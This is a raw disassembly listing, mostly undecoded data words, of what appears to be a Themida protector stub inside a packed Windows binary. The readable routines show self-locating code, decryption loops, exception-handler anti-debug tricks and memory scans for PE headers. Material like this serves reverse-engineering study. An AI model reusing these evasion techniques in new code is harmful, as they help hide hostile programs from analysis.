--------------------------------------------------------------------------- align 4 dd 0 db 0 byte_54963D db 3 dup(0) ; CODE XREF: Themida_:00549630j dd 5 dup(0) dd offset loc_5A0C05 dd 16h dup(0) dd 1D7A40h, 0Ah dup(0) dd 109128Fh, 0Ah dup(0) dd 10Ch, 0 dd 0A47316h, 6 dup(0) dd 0A2FA56h, 4 dup(0) dd 0A23145h, 0 dd 0FFFF982Ch, 0Ah dup(0) dd 0FFFFFFFFh, 3 dup(0) ; --------------------------------------------------------------------------- mov al, ch jmp short near ptr byte_5497D9 ; --------------------------------------------------------------------------- dd 0 dd 4A449E00h, 0B5564DF0h, 0A269DDh, 0 dd 0F600B034h, 77DD0000h, 2 dup(0) dd 62h, 2 dup(0) dd offset loc_582202 dd 1C034h, 0 dd 77E83E68h, 4 dup(0) db 0 byte_5497D9 db 3 dup(0) ; CODE XREF: Themida_:00549786j dd offset loc_5CBF68+2 dd offset sub_5A1ABB align 8 dd offset byte_580023 dd 3 dup(0) dd 0A2A00Fh, 4 dup(0) dd 77E776CDh, 24242424h, 0FFDFFFFFh, 5 dup(0) dd 0B0h, 4 dup(0) dd 104h, 4 dup(0) dd 67E0h, 25B0000h, 3E16332h, 0 dd 77E7C486h, 2 dup(0) dd 0A49BACh, 752621EAh, 4 dup(0) dd 0FB2AEC13h, 2 dup(0) dd 3099h, 2 dup(0) dd 13D8E05Dh, 5 dup(0) dd 0FB2AEC13h, 0EBAE8D8Dh, 0Bh dup(0) dd 77F51B2Bh, 0 dd 77EA5EE6h, 8 dup(0) dd 163204Ch, 3 dup(0) dd 0B8h, 12FEF8h, 3 dup(0) dd offset byte_5834DB dd offset byte_583697 align 10h dd 0FB2AEC13h, 0 dd 7CCA00A0h, 0 dd offset sub_5A0C3E align 10h loc_549970: ; DATA XREF: Themida_:0054A650o mov eax, 0 or eax, eax jz short loc_54997C retn 18h ; --------------------------------------------------------------------------- loc_54997C: ; CODE XREF: Themida_:00549977j mov eax, [esp+0Ch] push ebx call $+5 pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0A2A037h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 4 dd 14h dup(0) dd 77E76A2Eh, 2 dup(0) dd 6784h, 77452C1Bh, 0 dd 3C7EB397h, 5 dup(0) dd 83A52AC4h, 0FFFF8DE1h, 0B0B1CAh, 3 dup(0) dd 36363636h, 0FFED00ACh, 9 dup(0) dd offset unk_4E0497 dd offset loc_57CC8E dd 10h dup(0) dd offset off_57AEE7 dd 172FFB0h, 2 dup(0) dd offset loc_5CBF68+2 dd 0FFFF3FA2h, 0 dd offset word_597B4E dd 4 dup(0) dd offset dword_549B78 dd offset loc_5CBF68+2 dd 0AAF0B74h, 4 dup(0) dd offset byte_5AEF6B dd 2 dup(0) dd 86555974h, 2 dup(0) dd offset loc_59D832 dd 0 dd offset loc_5885DE dd 33000h, 0Dh dup(0) ; --------------------------------------------------------------------------- retf 0FFB4h ; --------------------------------------------------------------------------- db 0FFh align 10h dd 468545B6h, 5 dup(0) dword_549B78 dd 438h, 0A100F8h, 0 ; DATA XREF: Themida_:00549228o ; Themida_:00549AE0o ... dd 0B100F8h, 7FFE7397h, 10h dup(0) dd 21D4EC17h, 77E82168h, 3 dup(0) dd 0A2A037h, 2 dup(0) dd 0A9B0E4B0h, 0Ah dup(0) dd 7FFE0304h, 0Ch dup(0) dd 0FB71D921h, 0B4h, 6 dup(0) dd offset loc_54CEEB dd 0 dd 5300h, 4 dup(0) dd 0A269DDh, 2 dup(0) dd 0FFA57F01h, 2 dup(0) dd 77F52E0Fh, 8 dup(0) dd 3047105Dh, 2 dup(0) dd 77E793EFh, 7 dup(0) ; --------------------------------------------------------------------------- test [ebx+ecx*2], edi inc esi jmp loc_56E8DD ; --------------------------------------------------------------------------- align 4 retn 73F2h ; --------------------------------------------------------------------------- db 22h dd 4 dup(0) dd 2F8CA129h, 4 dup(0) dd 77E60000h, 0 dd 0FFA7FFDDh, 0 dd 0FFA5F563h, 13D8E05Dh, 0A1B168h, 0 dd 32E9h, 0A10FE6h, 0Eh dup(0) dd offset loc_5885DE aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0 align 4 dd 3Ch dup(0) dd 7FFE0304h, 49012DD8h, 0 dd 0E024F3E4h, 1, 77FFFFFCh, 4 dup(0) dd 52D8B47Dh, 20h dup(0) dd 0FFFF5E94h, 6 dup(0) dd 21858DE1h, 4 dup(0) dd 8001FCFCh, 0 dd 77E7C785h, 287D88E6h, 9 dup(0) dd 0A2A00Fh, 3 dup(0) dd offset dword_59D020 dd 0 dd offset dword_5BB658 dd 9 dup(0) dd offset byte_580023 dd 3 dup(0) dd offset dword_5B0000 dd 2 dup(0) dd 13D8E05Dh, 20h dup(0) dd 9Ch, 0A24Dh, 0 dd 6784h, 4C3AA05Ch, 7FFE0304h, 0 dd 24B6C80h, 5 dup(0) dd 345AFD8Bh, 0 dd 1, 6 dup(0) dd 34B8h, 77D4C96Ah, 7 dup(0) dd 0B3C55FA4h, 2 dup(0) dd 7FFE90FAh, 0Bh dup(0) dd 5CE5h, 2 dup(0) dd 2 dup(22222222h), 3 dup(0) dd 0FFFF982Ch, 2 dup(0) dd 7FFE0304h, 0FFA7CB25h, 2 dup(0) dd 3600h, 63221B7h, 2 dup(0) dd 0B78883h, 6 dup(0) dd 13D8E05Dh, 8 dup(0) dd offset byte_5AA683 dd 0FFA64805h, 2 dup(0) dd 0A0h, 13D8E05Dh, 6 dup(0) dd 12FF38h, 0Ch dup(0) dd offset loc_5CAC7C+2 dd 0 dd 0EC271FA3h, 1, 5 dup(0) dd 0FFFFA168h, 6 dup(0) dd 4886B09Eh, 7 dup(0) dd offset loc_59DBD5+4 dd 3 dup(0) dd offset loc_5CBF68+2 align 10h dd 12FFE0h, 0FF5D5FF1h, 7 dup(0) dd offset loc_58C915 dd 6 dup(0) dd 21568h, 4 dup(0) dword_54A304 dd 2B34A3DBh, 63h dup(0) ; DATA XREF: Themida_:0054B8E0o dd 25C0000h, 6 dup(0) dd 4, 584369h, 4 dup(0) dd 24B6B9Ch, 0 dd 0A31568h, 3 dup(0) dd 0FFAA7B8Eh, 0 dd 77E8215Ch, 0 dd 0DE000h, 2 dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0C9h, 57h, 0 dd 3 dup(0) dd 0FFFFA72Ch, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_54A605 ; --------------------------------------------------------------------------- align 8 dd 7FFE0304h, 6 dup(0) dd offset loc_596A09 align 10h dd offset loc_59085C+3 dd 2 dup(0) dd 0A29393h, 40D7AD80h, 2 dup(0) dd 0FFFF4E47h, 0 ; --------------------------------------------------------------------------- jmp loc_56F15D ; --------------------------------------------------------------------------- align 4 dd 0FF8h, 0 dd 7FFDDEF8h, 1DC000h, 0B52Ah, 9 dup(0) dd 5F34B157h, 2 dup(0) dword_54A5C0 dd 0A26CB0h, 5 dup(0) dd 6784h, 9 dup(0) dd 7FFE0304h db 0C7h ; --------------------------------------------------------------------------- loc_54A605: ; CODE XREF: Themida_:0054A51Cj sbb eax, [edi+5Bh] add [esi+ebx*4], ch ; --------------------------------------------------------------------------- dw 0FFFFh dd 0B52Ah, 0Ah dup(0) dd 0B35FF0h, 4 dup(0) dd offset loc_549970 dd 0FFFF982Ch, 3 dup(0) dd 0A6A5E7h, 52D896ECh, 77DD59F0h, 0 dd 8005F6F4h, 3 dup(0) dd 7D1h, 5 dup(0) dd 6784h, 2 dup(0) dd 102B89D5h, 0 dd 0A10000h, 2 dup(0) dd offset dword_549B78 dd 0 dd 7FFE0304h, 4 dup(0) dd 3DD4E4F1h, 4 dup(0) dd 1, 3 dup(0) dd 2 dup(7FFE0304h), 3 dup(0) dd 7FFE0304h, 7548725h, 6 dup(0) dd 2BE102D4h, 0 dd 77E80618h, 2 dup(0) dd 108h, 13A8h, 9BE67C11h, 59D020h, 3A7EE5BBh, 7 dup(0) dd 0A25E2Eh, 5B7877h, 3 dup(0) dd 0B37FFEh, 3 dup(0) dd 874281DDh, 2 dup(0) dd 1D07C314h, 8 dup(0) dd 0FDB22B8Ch, 4 dup(0) dd offset nullsub_3 dd 0Dh dup(0) dd 21212121h, 216FD98h, 3 dup(0) dd 7FFE0304h, 2 dup(0) dd 0A28C0Ah, 0FFFFFFFFh, 4 dup(0) dd 0D8h, 97D8EA5h, 0FFA795F7h, 5 dup(0) dd 1, 6 dup(0) dd 0CDA680A3h, 0 dd 12FFE0h, 7 dup(0) dd 0A22292h, 8 dup(0) dd 77DD189Ah, 0 dd 0FFFFE175h, 0 dd 30DFh, 0 dd 0FDBD0050h, 0 dd 3FC78FA0h, 2 dup(0) dd offset loc_5CAC7C+2 align 8 dd 0FFA675B2h, 4 dup(0) dd 7FFE0304h, 0 dd 77E7A5FDh, 3 dup(0) dd 13D8E05Dh, 2 dup(0) dd 0A10A9Ah, 3 dup(0) dd 3B398789h, 9 dup(0) dd 1FAFFF6h, 3 dup(0) dd offset sub_5834ED dd 2 dup(0) dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 7Ch dup(0) dd 24B6B9Ch, 3 dup(0) dd 7FFE0304h, 61AEAEE4h, 4 dup(0) dd 2870000h, 4 dup(0) dd 98F4DEDEh, 0 dd 1F6B6h, 4 dup(0) dd 8001FCFCh, 2 dup(0) dd 6784h, 5 dup(0) db 90h db 8Bh, 0A4h, 0FFh dd 5 dup(0) dd offset dword_5794A8 dd 7 dup(0) dd 0FFFFFFFCh, 7 dup(0) dd 0FFA7FE32h, 0 dd offset loc_5948A9 dd 5 dup(0) dd offset sub_5AF4AE dd 2 dup(0) dd 7E91139Dh, 0A2A00Fh, 0 dd offset dword_5CC5E8 align 8 dd 0DC8D2F2Dh, 0 dd 1000h, 7 dup(0) dd 7FFE6004h, 0A68D53h, 0 dd 0FFFFFFFFh, 3 dup(0) dd 0A2A00Fh, 0D4h, 0F97DF2E1h, 6 dup(0) dd offset dword_549B78 dd 0Eh dup(0) dd offset sub_5B52B8 dd 2 dup(0) dd 2B34BE89h, 0A269DDh, 0 dd offset byte_58F88F dd 12FFA4h, 0E75D36FEh, 2 dup(0) ; --------------------------------------------------------------------------- xchg eax, esp jmp near ptr byte_54AD89 ; --------------------------------------------------------------------------- align 10h dd 2 dup(0) db 0 byte_54AD89 db 3 dup(0) ; CODE XREF: Themida_:0054AD79j dd 2 dup(0) dd 77E7C785h, 77E7339Ch, 58248Eh, 0Fh dup(0) dd 0A4B134h, 0 dd 8242904Ch, 0 dd 0C8h, 3 dup(0) dd 172FFB0h, 2 dup(0) dd 63221B7h, 2 dup(0) dd offset loc_59D720+3 dd 3A0h, 6 dup(0) dd 0B00000h, 0FFA685D6h, 8014FC50h, 8 dup(0) dd offset loc_5919A9 align 10h dd 222FFB0h, 0FD2h, 11h dup(0) dd 77F5168Dh, 4 dup(0) dd offset dword_58C824 dd 7 dup(0) dd offset sub_54C6F2 dd 24B6BD3h, 0BCh, 3 dup(0) dd offset dword_57F248 dd 5 dup(0) dd 0A269DDh, 8EDD6157h, 2 dup(0) dd offset dword_5798B0 align 10h dd 0A23E3Bh, 8001FCFCh, 0B97CF8B2h, 19h, 4BBDC425h, 0FFE2E586h dd 6 dup(0) dd offset dword_54A5C0+14h dd 4 dup(0) dd 12FF54h, 0 dd 13D8E05Dh, 2 dup(0) dd 3CA00h, 3C39689Fh, 3 dup(0) dd 78326B19h, 0 dd 77E78B82h, 5BE2F2h, 4 dup(0) dd offset byte_586A09 dd 5 dup(0) dd 12FEF0h, 3 dup(0) dd 0E02BF650h, 0Fh dup(0) dd 400000h, 2 dup(0) dd 2430000h, 2 dup(0) dd offset byte_5834DB dd 5 dup(0) dd 77E82FE8h, 8 dup(0) dd 0A28C0Ah, 4 dup(0) dd 1, 6 dup(0) dd 1, 7 dup(0) dd 400000h, 6 dup(0) dd offset loc_5A5460+2 dd 6 dup(0) dd offset sub_57DE8A dd 7 dup(0) dd 0FFFFFF20h, 9 dup(0) dd 2, 5BFFFEh, 77E75CB5h, 7FFE0304h, 5736B9h, 0 dd offset loc_5B854C+2 dd 4 dup(0) dd offset loc_5B6ED0+1 dd 0F1BB5FDh, 2 dup(0) ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0A9h, 5Ch, 0 dd 0 dd offset dword_5BFF5C dd 0 dd 644FF2DEh, 0 dd 23h, 4 dup(0) dd offset byte_5B7877 dd 4 dup(0) dd 0E75D8D8Dh, 6 dup(0) dd 6DB43739h, 6 dup(0) dd 4B36h, 3 dup(0) dd 0FFA41D0Eh, 5 dup(0) dd 1, 0AAFF95A0h, 2Ah, 0FFDFFFFFh, 4, 0 dd 8730EC38h, 0 dd 0C9AEC022h, 14h, 0 dd 1D7A40h, 0B0h dup(0) dd offset word_58A792 dd 0 dd offset byte_580023 dd 0Fh dup(0) dd 77E78B82h, 0 dd 0FFFFE4D5h, 4 dup(0) dd 1FA15E9Ch, 3 dup(0) dd offset loc_589817 align 10h retn ; --------------------------------------------------------------------------- db 0A9h, 5Ch, 0 dd 0FFA7CB25h, 0 dd 3600h, 5 dup(0) dd 0A209F7h, 4 dup(0) dd 10h, 2 dup(0) dd 3ACE5D33h, 3 dup(0) dd 12FF54h, 5C9296h, 0 dd 24B6B9Ch, 2 dup(0) dd 6784h, 2 dup(0) dd offset loc_59DA07+5 dd 6 dup(0) dd offset dword_40F108+27Ch dd 0 dd 0BBC969FAh, 9 dup(0) dd offset loc_5BE058+2 dd 11111111h, 4 dup(0) dd 7C5AD53Ch, 0 dd 2 dup(7FFE0304h), 0FFFFFFC8h, 9 dup(0) dd offset byte_54CC0B align 10h dd 74736552h, 41747261h, 652E7070h, 6578h, 549B78h, 0A47FD8h dd 0 dd 58A2FE7Bh, 0 dd 24B6B9Ch, 7A522FDBh, 5AEEF7h, 2 dup(0) dd 0A2915Bh, 0 dd offset sub_401000 dd 5 dup(0) dd 7FFE0304h, 5CBF6Ah, 0 dd 0FA3A511Ch, 0 dd 0FFFF9E2Ch, 0 dd 7FFE0304h, 3 dup(33333333h), 0 dd 5B871BC7h, 0 dd 0C04Ch, 3 dup(0) dd offset loc_5921B0+2 align 10h dd 0FFFF982Ch, 2 dup(0) dd offset byte_584369 dd 0 dd 0E80h, 21858DE1h, 4 dup(0) dd 0A269DDh, 4 dup(0) dd 7FFE0304h, 13h dup(0) ; --------------------------------------------------------------------------- jmp short near ptr loc_54B800+1 ; CODE XREF: Themida_:loc_54B800j ; --------------------------------------------------------------------------- dw 76DBh dd offset loc_5B5383 dd 62Ch, 4 dup(0) dd offset loc_58A7EC dd 3 dup(0) dd 2, 6 dup(0) dd 77E83E68h, 0Ah dup(0) dd 0D0h, 6 dup(0) dd offset loc_58FACE dd 2 dup(0) dd 1, 0Eh dup(0) dd 0FFFF96ECh, 0 dd offset dword_54A304+5 align 8 dd 0FFFFFFFFh, 5 dup(0) dd 747786EFh, 0 dd 52B071C5h, 5 dup(0) dd 0B60AFF8Eh, 13D8E05Dh, 3 dup(0) dd 7027662Eh, 0 dd 25D0000h, 0 dd 7FFE0304h, 29h dup(0) dd offset loc_5A1ED3+5 dd 4 dup(0) dd 0A9C530DFh, 0 dd 12FFF0h, 4EBh, 0 ; --------------------------------------------------------------------------- jmp near ptr byte_54BAFD ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd 76B41B40h, 5 dup(0) dd offset word_59DAFA dd 0A10A9Ah, 0 dd offset loc_58E7C0 dd 7FFE0304h, 2 dup(0) dd 4001E8h, 0 db 90h db 9, 2 dup(0) align 8 dd offset byte_5779ED dd 13D8E05Dh, 0A4h, 2 dup(0) dd offset loc_5A6BE9 dd 641983EFh, 2 dup(0) dd 0A9C530DFh, 0 dd 80000h, 2 dup(0) dd offset byte_5834DB align 10h dd 0B075E0h, 2 dup(0) dd 0D7C996E3h, 6 dup(0) dd 77E75CB5h, 2, 0 dd 7FFE0304h, 0 dd 77E82FE8h, 3 dup(0) db 0 byte_54BAFD db 3 dup(0) ; CODE XREF: Themida_:0054BA14j dd 2 dup(0) db 64h, 90h dw 761Ch align 10h dd 6797FD4h, 0FE3A9673h, 3 dup(0) dd offset dword_58C824 dd 3 dup(0) dd 77E7AC5Eh, 4F1E983Eh, 7FFE0304h, 3 dup(0) dd 7027662Eh, 6 dup(0) dd 0F1F3805Ch, 2 dup(0) dd 77E805D8h, 8 dup(0) dd offset word_58A792 dd 1Bh dup(0) dd 0FC018D8Dh, 3 dup(0) dd 506D5892h, 9 dup(0) ; --------------------------------------------------------------------------- jmp near ptr byte_54BE53 ; --------------------------------------------------------------------------- align 4 dd 3F9F8h, 5B76A3h, 587072h, 0A22BDEh, 96Ch, 0 dd 77E77963h, 3 dup(0) dd 0A2A00Fh, 0 dd 0C0h, 3 dup(0) dd 77EBA6E9h, 12FEF8h, 0Ch dup(0) dd offset byte_5B8F9D align 8 dd offset byte_5834DB align 10h dd 0A269DDh, 0 dd 7FFE0304h, 5 dup(0) dd offset loc_5A0332 dd 8 dup(0) dd offset byte_5779ED dd 0 dd 0E024F3E4h, 0 dd 12FF64h, 4DF000h, 2 dup(0) dd 3B72BDBAh, 0 dd 25E0000h, 2 dup(0) dd 6DB43739h, 0Ah dup(0) dd 0A269DDh, 5 dup(0) dd offset loc_57CC66 dd 5 dup(0) dd 0A16Ch, 0 dd 41100B71h, 5A0BA8h, 0 dd 77E805D8h, 2 dup(0) dd 0FFED005Ch, 3 dup(0) dd 0E1014h, 0 dd 77F50000h, 5 dup(0) dd 21858DE1h, 0 dd offset sub_5A6227 dd 0 dd 0FFFF4AD6h, 5CC5C0h, 11h dup(0) db 3 dup(0) byte_54BE53 db 0 ; CODE XREF: Themida_:0054BC40j dd 70h dup(0) dd 94B5950Fh, 6 dup(0) dd 77D4C96Ah, 580023h, 2 dup(0) dd offset dword_5BC9F8 dd 2 dup(0) ; --------------------------------------------------------------------------- retf 0FC6Bh ; --------------------------------------------------------------------------- db 78h dd 4 dup(0) dd 77DD0000h, 7 dup(0) dd 0D546E46Ah, 6 dup(0) dd offset byte_5834DB dd 3 dup(0) dd 0EFh, 7FFE0304h, 5 dup(0) dd 9C6D8FE9h, 9E893D7h, 54A308h, 3 dup(0) dd offset loc_5BD6DC+1 dd 12FFC4h, 6 dup(0) dd 13DFEEFFh, 57C9E5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C110: ; CODE XREF: Themida_:loc_548BDFj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 614353Bh mov [ebp+6143505h], edx mov [ebp+6142679h], esi mov [ebp+6142E29h], eax cmp dword ptr [ebp+6143495h], 0 jz short loc_54C148 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_54C148: ; CODE XREF: Themida_:0054C13Aj mov eax, [esp+24h] mov [ebp+61410C1h], eax push 45h call sub_54C1FC push 783749Ah call sub_54C242 push 0A894B25h call sub_54C242 jmp loc_54C386 ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54C1FC proc near ; CODE XREF: Themida_:0054C154p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6143629h mov ebx, edx mov [ebp+var_28], 0 loc_54C218: ; CODE XREF: sub_54C1FC+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_54C237 mov eax, [ebp+arg_0] mov [ebx+6143593h], eax inc [ebp+arg_0] inc ebx jmp short loc_54C218 ; --------------------------------------------------------------------------- loc_54C237: ; CODE XREF: sub_54C1FC+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_54C1FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54C242 proc near ; CODE XREF: Themida_:0054C15Ep ; Themida_:0054C168p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 6143672h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54C268: ; CODE XREF: sub_54C242+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54C268 mov [ebp+var_84], 0 lea edi, [edx+6143593h] lea esi, [ebp+var_80] loc_54C298: ; CODE XREF: sub_54C242+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54C2A4: ; CODE XREF: sub_54C242+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54C2A4 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54C298 popa leave retn 4 sub_54C242 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_54C2E2 ; --------------------------------------------------------------------------- loc_54C2DE: ; CODE XREF: Themida_:0054C2E5j inc dword ptr [ebp-4] inc esi loc_54C2E2: ; CODE XREF: Themida_:0054C2DCj cmp byte ptr [esi], 0 jnz short loc_54C2DE mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54C373 ; --------------------------------------------------------------------------- loc_54C2F4: ; CODE XREF: Themida_:0054C376j mov dword ptr [ebp-8], 0 jmp short loc_54C36A ; --------------------------------------------------------------------------- loc_54C2FD: ; CODE XREF: Themida_:0054C36Ej mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54C357 ; --------------------------------------------------------------------------- loc_54C30D: ; CODE XREF: Themida_:0054C35Bj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54C32F cmp bl, 39h ja short loc_54C32F sub bl, 30h jmp short loc_54C351 ; --------------------------------------------------------------------------- loc_54C32F: ; CODE XREF: Themida_:0054C323j ; Themida_:0054C328j cmp bl, 61h jb short loc_54C341 cmp bl, 66h ja short loc_54C341 sub bl, 61h add bl, 0Ah jmp short loc_54C351 ; --------------------------------------------------------------------------- loc_54C341: ; CODE XREF: Themida_:0054C332j ; Themida_:0054C337j cmp bl, 41h jb short loc_54C351 cmp bl, 46h ja short loc_54C351 sub bl, 41h add bl, 0Ah loc_54C351: ; CODE XREF: Themida_:0054C32Dj ; Themida_:0054C33Fj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54C357: ; CODE XREF: Themida_:0054C30Bj cmp dword ptr [ebp-0Ch], 2 jb short loc_54C30D cmp dword ptr [ebp-10h], 0 jbe short loc_54C367 mov eax, [ebp-10h] stosb loc_54C367: ; CODE XREF: Themida_:0054C361j inc dword ptr [ebp-8] loc_54C36A: ; CODE XREF: Themida_:0054C2FBj cmp dword ptr [ebp-8], 2 jb short loc_54C2FD add edx, 4 loc_54C373: ; CODE XREF: Themida_:0054C2F2j cmp edx, [ebp-4] jb loc_54C2F4 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- loc_54C386: ; CODE XREF: Themida_:0054C16Dj mov ecx, 7000h lea edi, [ebp+61437B8h] loc_54C391: ; CODE XREF: Themida_:0054C395j dec byte ptr [edi] inc edi dec ecx jnz short loc_54C391 mov eax, 48692121h mov edx, 0F00E1000h sub edx, 0F0000000h lea eax, [ebp+614388Fh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax jp loc_54C3D8 jnb loc_54C3D8 jmp loc_54C3D8 ; --------------------------------------------------------------------------- db 0DBh dd 0B45155DEh ; --------------------------------------------------------------------------- loc_54C3D8: ; CODE XREF: Themida_:0054C3C2j ; Themida_:0054C3C8j ... sub eax, edx mov bl, al and eax, 0FFFFF000h mov ecx, edx xor edi, edi loc_54C3E5: ; CODE XREF: Themida_:0054C400j cmp word ptr [eax], 5A4Dh jnz short loc_54C3FA movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_54C402 loc_54C3FA: ; CODE XREF: Themida_:0054C3EAj sub eax, 1000h inc edi jmp short loc_54C3E5 ; --------------------------------------------------------------------------- loc_54C402: ; CODE XREF: Themida_:0054C3F8j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+61438A2h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_54C43C mov esi, [eax+1Ch] loc_54C43C: ; CODE XREF: Themida_:0054C437j xor eax, eax loc_54C43E: ; CODE XREF: Themida_:0054C451j cmp eax, 32h jz short loc_54C462 cmp word ptr [esi], 5A4Dh jz short loc_54C453 loc_54C44A: ; CODE XREF: Themida_:0054C460j sub esi, 10000h inc eax jmp short loc_54C43E ; --------------------------------------------------------------------------- loc_54C453: ; CODE XREF: Themida_:0054C448j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_54C4A4 jmp short loc_54C44A ; --------------------------------------------------------------------------- loc_54C462: ; CODE XREF: Themida_:0054C441j pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 61438ADh lea eax, [ebp+614386Bh] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_54C4A4: ; CODE XREF: Themida_:0054C45Ej xchg eax, esi pop large dword ptr fs:0 add esp, 4 push 0 push esi call sub_54C4BA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54C4BA proc near ; CODE XREF: Themida_:0054C4B2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_54C4BA endp ; --------------------------------------------------------------------------- dw 9A70h dd 0D988E77h, 2444BB66h, 0BBD98C66h, 30673C80h, 0B704E180h dd 0FC90A37h, 1E85h, 85C7FC00h, 61412CDh, 1, 3DE957B3h dd 0F9000000h, 6E9h, 37A42C00h, 0C7451003h, 1412CD85h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0C5F36FCAh, 0DB9FC46Fh, 0DA8B8E8Fh dd 11458589h, 7E90614h, 23000000h, 4246C19h, 8589D8E9h dd 6141AD1h, 13E8h, 1CA13C00h, 0C7859AEEh, 8AD66222h, 0A8E99B3h dd 0DBE7900Ch, 7E9h, 0EE888800h, 74C66E2Eh, 0BE859h, 0CB00000h dd 713F3D56h, 0B04F2CF2h, 0FDBF51FFh, 5B0DC2FFh, 3BC1815Bh dd 0BA000067h, 3155CA00h, 4F9AC281h, 840FCEAAh, 3, 0FFC7BF0Fh dd 0F88B6631h, 3890F5Eh, 0F000000h, 0EE81C7B7h, 2B84791Fh dd 0F681AFB4h, 3E1C794Fh, 0C681C2B7h, 14132BEDh, 0A8BF6653h dd 31895F5Ch, 0E983E18Ah, 8770B804h, 0F4A58BCh, 2385h dd 0CE900h, 3ED70000h, 0FEB3217Fh, 5789B069h, 31E954C2h dd 0E3000000h, 5429C2AAh, 5BC791Dh, 0E1113358h, 0EE9h dd 19F38300h, 0BDCFD19Ch, 0E7135270h, 0E9C600A4h, 0FFFFFF87h dd 7DC1D3C6h, 6FD55D29h, 61612294h, 11E8h, 6B80B600h, 84DEA8B3h dd 4A16B845h, 841483DCh, 8166C20Bh, 5E0AD7E8h, 81CABF0Fh dd 63EDC6h, 0B9CA8100h, 2B28FDAEh, 3BEEB9DBh, 3C8B2C9Eh dd 6830F1Eh, 81000000h, 672479E1h, 0BCF78168h, 0F2DE342h dd 1389h, 0D800F00h, 0E8000000h, 7, 0E26B01B3h, 5965DC54h dd 46ABC781h, 816656A0h, 81D966CAh, 0C59EC4EFh, 89D78B68h dd 3AB91E3Ch, 0B9492C77h, 1F3A382h, 0C724EB81h, 12E906B6h dd 14000000h, 9645C2EEh, 5D2238E3h, 6661E140h, 91921112h dd 20C381DCh, 8006B6C7h, 0FB8146D4h, 0FFFF9CC4h, 0FF80850Fh dd 820FFFFFh, 2, 4EB6AB0h, 215h, 6F6E9h db 0, 0F9h ; =============== S U B R O U T I N E ======================================= sub_54C6F2 proc near ; DATA XREF: Themida_:0054AEF0o arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha pusha mov eax, 3B72BDBAh mov [ebp+6143155h], eax popa mov eax, 0 mov [ebp+6142455h], edi mov edx, [esp+20h+arg_4] mov [ebp+6140D4Dh], ecx sub [ebp+6142611h], ecx mov [ebp+61402F5h], eax pusha jb loc_54C72E mov edi, [ebp+614239Dh] 